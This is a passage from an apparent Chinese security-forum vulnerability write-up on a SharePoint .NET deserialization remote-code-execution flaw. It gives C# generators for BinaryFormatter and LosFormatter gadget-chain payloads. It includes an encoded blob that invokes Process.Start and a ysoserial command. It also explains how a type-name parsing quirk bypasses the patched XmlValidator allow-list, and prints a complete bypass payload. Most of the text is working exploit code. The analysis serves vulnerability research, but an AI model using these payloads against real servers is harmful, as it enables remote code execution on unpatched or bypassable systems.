ZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL"); var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(LosFormatter), typeof(ObjectDataProvider)); dynamic wrapper = Activator.CreateInstance(wrapperType); wrapper.ExpandedElement = losFormatter; wrapper.ProjectedProperty0 = odp; var listType = typeof(List<>).MakeGenericType(wrapperType); dynamic list = Activator.CreateInstance(listType); list.Add(wrapper); DataTable dt = new DataTable("hehe"); dt.Columns.Add("pwn", listType); dt.Rows.Add(list); DataSet ds = new DataSet("somedataset"); ds.Tables.Add(dt); using (MemoryStream memoryStream = new MemoryStream()) { using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress)) { BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(gzipStream, ds); } // 获取压缩数据并转换成 Base64 字符串 byte[] compressedData = memoryStream.ToArray(); string payload = Convert.ToBase64String(compressedData); Console.WriteLine(payload); } } } } ``` 其中`LosFormatter.Deserialize`反序列化的内容是`TypeConfuseDelegate`链子 ```c# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c winver -o base64 ``` 将生成的内容填入`CompressData`中  0x04 写在最后 --------- 在复现漏洞的时候,我并没有看到文章中所说的`DataSetSurrogateSelector`选择器,我猜测这个选择器是打了`CVE-2020-1147`的补丁。 <https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-1147> 0x05 DataSetSurrogateSelector选择器 -------------------------------- 在我打了补丁之后,发现之前的`POC`已经打不通了,在文章中很详细的给出了其过滤规则, <https://blog.viettelcybersecurity.com/sharepoint-toolshell/> 利用了自写的`BinarySerialization.Deserialize`  先是利用了`LimitingBinder`做了限制 ```c# private sealed class LimitingBinder : SerializationBinder { // Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310 internal LimitingBinder(IEnumerable<Type> extraTypes) { this._allowedTypeMap = new TypeMap(); this._allowedTypeMap.Add(typeof(DataSet)); this._allowedTypeMap.Add(typeof(DataTable)); this._allowedTypeMap.Add(typeof(SchemaSerializationMode)); this._allowedTypeMap.Add(typeof(Version)); if (extraTypes != null) { foreach (Type type in extraTypes) { if (type != null && !(type == typeof(DataSet)) && !(type == typeof(DataTable))) { if (typeof(DataSet).IsAssignableFrom(type) || typeof(DataTable).IsAssignableFrom(type)) { throw new ArgumentException(""); } this._allowedTypeMap.Add(type); } } } } ``` 这里可以看到拥有`DataSet`所以不需要关心,之后便会进入到`DataSetSurrogateSelector`选择器。 ```c# public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) { Type type = obj.GetType(); Type baseType = type.BaseType; if (type != typeof(DataSet) && type != typeof(DataTable) && !type.IsSubclassOf(typeof(DataSet)) && !type.IsSubclassOf(typeof(DataTable))) { return null; } SerializationInfo serializationInfo = new SerializationInfo(obj.GetType(), new FormatterConverter()); string @string = info.GetString("XmlSchema"); if (@string != null) { this._validator.ValidateXml(@string); serializationInfo.AddValue("XmlSchema", @string); } string string2 = info.GetString("XmlDiffGram"); if (string2 != null) { this._validator.ValidateXml(string2); serializationInfo.AddValue("XmlDiffGram", string2); } ConstructorInfo constructor = obj.GetType().GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, new Type[] { typeof(SerializationInfo), typeof(StreamingContext) }, null); if (constructor != null) { constructor.Invoke(obj, new object[] { serializationInfo, context }); } return obj; } ``` 这里会提取出`SerializationInfo`中的`XmlSchema`和`XmlDiffGram`,然后使用`XmlValidator`来验证信息。 ```c# // Token: 0x06000063 RID: 99 RVA: 0x00003A74 File Offset: 0x00001C74 private void ValidateXml(XDocument document) { foreach (XElement xelement in document.Descendants()) { foreach (XAttribute xattribute in xelement.Attributes(Constants.MSD_DATATYPE_XName)) { this.ValidateTypeIsAllowed(xattribute.Value); } foreach (XAttribute xattribute2 in xelement.Attributes(Constants.MSD_INSTANCETYPE_XName)) { this.ValidateTypeIsAllowed(xattribute2.Value); } foreach (XAttribute xattribute3 in xelement.Attributes(Constants.MSD_EXPRESSION_XName)) { this.ValidateExpressionIsAllowed(xattribute3.Value); } } } ``` 验证`DataType`、`InstanceType`、`Expression`不在允许列表中,`XmlValidator`就会抛出异常。 ```c# private void ValidateTypeIsAllowed(string fullTypeName) { TypeInAssembly typeInAssembly = TypeNameParser.ParseAssemblyQualifiedName(fullTypeName); if (!this.IsAllowedType(typeInAssembly.TypeNameText, typeInAssembly.AssemblyNameText)) { this.ThrowInvalidTypeException(fullTypeName); } } ``` 允许列表如下, ```c# internal static class DefaultAllowList { // Token: 0x04000004 RID: 4 internal static Type[] Members = new Type[] { typeof(bool), typeof(char), typeof(sbyte), typeof(byte), typeof(short), typeof(ushort), typeof(int), typeof(uint), typeof(long), typeof(ulong), typeof(float), typeof(double), typeof(decimal), typeof(DateTime), typeof(DateTimeOffset), typeof(TimeSpan), typeof(string), typeof(Guid), typeof(SqlBinary), typeof(SqlBoolean), typeof(SqlByte), typeof(SqlBytes), typeof(SqlChars), typeof(SqlDateTime), typeof(SqlDecimal), typeof(SqlDouble), typeof(SqlGuid), typeof(SqlInt16), typeof(SqlInt32), typeof(SqlInt64), typeof(SqlMoney), typeof(SqlSingle), typeof(SqlString), typeof(object), typeof(Uri), typeof(Color), typeof(Point), typeof(PointF), typeof(Rectangle), typeof(RectangleF), typeof(Size), typeof(SizeF) }; } ``` 是一些和`RCE`毫不相关的类型,这里我们注意到`TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);`会对传入的类型名称作解析。 ```C# // Token: 0x06000054 RID: 84 RVA: 0x000036C0 File Offset: 0x000018C0 public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName) { assemblyQualifiedName = ((assemblyQualifiedName != null) ? assemblyQualifiedName.Trim() : null); if (string.IsNullOrEmpty(assemblyQualifiedName)) { throw new ArgumentOutOfRangeException("assemblyQualifiedName"); } int num = 0; for (int i = 0; i < assemblyQualifiedName.Length; i++) { char c = assemblyQualifiedName[i]; if (c != ',') { checked { switch (c) { case '[': num++; break; case ']': num--; break; } } } else if (num == 0) { string typeName = assemblyQualifiedName.Substring(0, i).Trim(); string text = assemblyQualifiedName.Substring(i + 1); string[] array = text.Split(new char[] { ',' }); if (array[0].IndexOf('=') >= 0) { throw new ArgumentOutOfRangeException("assemblyQualifiedName"); } for (i = 1; i < array.Length; i++) { string text2 = array[i].Trim(); if (!text2.StartsWith("Version=", StringComparison.Ordinal) && !text2.StartsWith("Culture=", StringComparison.Ordinal) && !text2.StartsWith("PublicKeyToken=", StringComparison.Ordinal)) { throw new ArgumentOutOfRangeException("assemblyQualifiedName"); } } return new TypeInAssembly(typeName, new AssemblyName(text)); } } if (num != 0) { throw new ArgumentOutOfRangeException("assemblyQualifiedName"); } Type type; TypeNameParser._defaultSimpleNameMappings.TryGetValue(assemblyQualifiedName, out type); type = (type ?? typeof(object)); return new TypeInAssembly(type.FullName, TypeNameParser.SimplifyAssemblyName(type.Assembly.GetName())); } ``` 在这里检查类型的时候,只会检查`[]`外边的部分,检查类型名称是否包含逗号`,`,然后提取类型名称并返回它。 但是当类型名称没有`,`或者在`[]`外面没有`,`的时候,会从`_defaultSimpleNameMappings`获取类型。如果在其中没有的话,则该类型将转换为`object`,而`object`是包含在允许的列表当中的。 因此我们可以通过`XmlValidator`。 所以我们可以构造 ```c# System.Collections.Generic.List`1[[<any type, any assembly name>]] ``` 来绕过限制,因为`System.Collections.Generic.List`在`mscorlib`中,所以我们不需要指定程序集名称部分。 构造出最终的payload ```c# using System; using System.Data; using System.IO; using System.IO.Compression; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; public class Program { public static void Main() { CustomPayload customPayload = new CustomPayload(); byte[] binaryPayload; using (MemoryStream ms = new MemoryStream()) { BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(ms,customPayload); binaryPayload = ms.ToArray(); } string base64Payload = Convert.ToBase64String(CompressPayload(binaryPayload)); Console.WriteLine("--- 生成的 BinaryFormatter Base64 ---"); Console.WriteLine(base64Payload); } public static byte[] CompressPayload(byte[] payload) { using (MemoryStream memoryStream = new MemoryStream()) { using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress)) { gzipStream.Write(payload, 0, payload.Length); } return memoryStream.ToArray(); } } } [Serializable] public class CustomPayload : ISerializable { public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(System.Data.DataSet)); info.AddValue("XmlSchema", "<xs:schema xmlns=\"\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" id=\"dataset\">\r\n <xs:element name=\"dataset\" msdata:IsDataSet=\"true\" msdata:UseCurrentLocale=\"true\">\r\n <xs:complexType>\r\n <xs:choice minOccurs=\"0\" maxOccurs=\"unbounded\">\r\n <xs:element name=\"test\">\r\n <xs:complexType>\r\n <xs:sequence>\r\n <xs:element name=\"pwn\" msdata:DataType=\"System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" type=\"xs:anyType\" minOccurs=\"0\"/>\r\n </xs:sequence>\r\n </xs:complexType>\r\n </xs:element>\r\n </xs:choice>\r\n </xs:complexType>\r\n </xs:element>\r\n</xs:schema>"); info.AddValue("XmlDiffGram", "<diffgr:diffgram xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" xmlns:diffgr=\"urn:schemas-microsoft-com:xml-diffgram-v1\">\r\n <dataset>\r\n <test diffgr:id=\"Table\" msdata:rowOrder=\"0\" diffgr:hasChanges=\"inserted\">\r\n <pwn xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\r\n <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" >\r\n <ExpandedElement/>\r\n <ProjectedProperty0>\r\n <MethodName>Deserialize</MethodName>\r\n <MethodParameters>\r\n <anyType xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xsi:type=\"xsd:string\">{base64payload}</anyType>\r\n </MethodParameters>\r\n <ObjectInstance xsi:type=\"LosFormatter\"></ObjectInstance>\r\n </ProjectedProperty0>\r\n </ExpandedWrapperOfLosFormatterObjectDataProvider>\r\n </pwn>\r\n </test>\r\n </dataset>\r\n </diffgr:diffgram>"); } } ```
发表于 2026-02-06 09:00:01
阅读 ( 209 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
花北城
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!